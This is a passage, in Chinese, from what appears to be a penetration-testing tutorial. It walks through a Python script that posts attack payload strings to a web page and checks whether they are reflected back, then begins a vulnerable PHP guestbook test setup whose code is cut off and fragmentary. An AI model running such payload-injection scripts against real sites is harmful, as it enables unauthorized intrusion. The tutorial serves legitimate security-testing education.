-我们使用`requests`库将现在分配的值发送到 post 请求中的目标页面,正如我们前面所做的:
-
-```
-req = requests.post(url2, data=d)
-```
-
-然后,我们加载将呈现内容的页面,并准备将其用于检查结果函数:
-
-```
-checkresult = requests.get(url3)
-```
-
-与之前的脚本类似,我们通过在页面上搜索字符串来检查字符串是否成功,如果成功,则打印结果。然后,我们为下一个有效负载重置字典:
-
-```
-if payload in checkresult.text:
- print "Full string returned"
- print "Attack string: "+ payload
- d = {}
-```
-
-## 还有更多…
-
-如前所述,您可以更改此脚本以包含许多结果或从包含多个值的文件中读取。Mozilla 的 FuzzDB,如下面的配方所示,包含大量这些值。
-
-以下是一个可用于测试前几节中提供的脚本的设置。它们需要保存为工作所需的文件名,并与 MySQL 数据库一起存储注释。
-
-以下是第一个名为`guestbook.php`的界面页面:
-
-```
-
-
-
-
-View Guestbook
-```
-
-以下脚本为`addguestbook.php`,将您的评论放入数据库中:
-
-```
-";
- echo "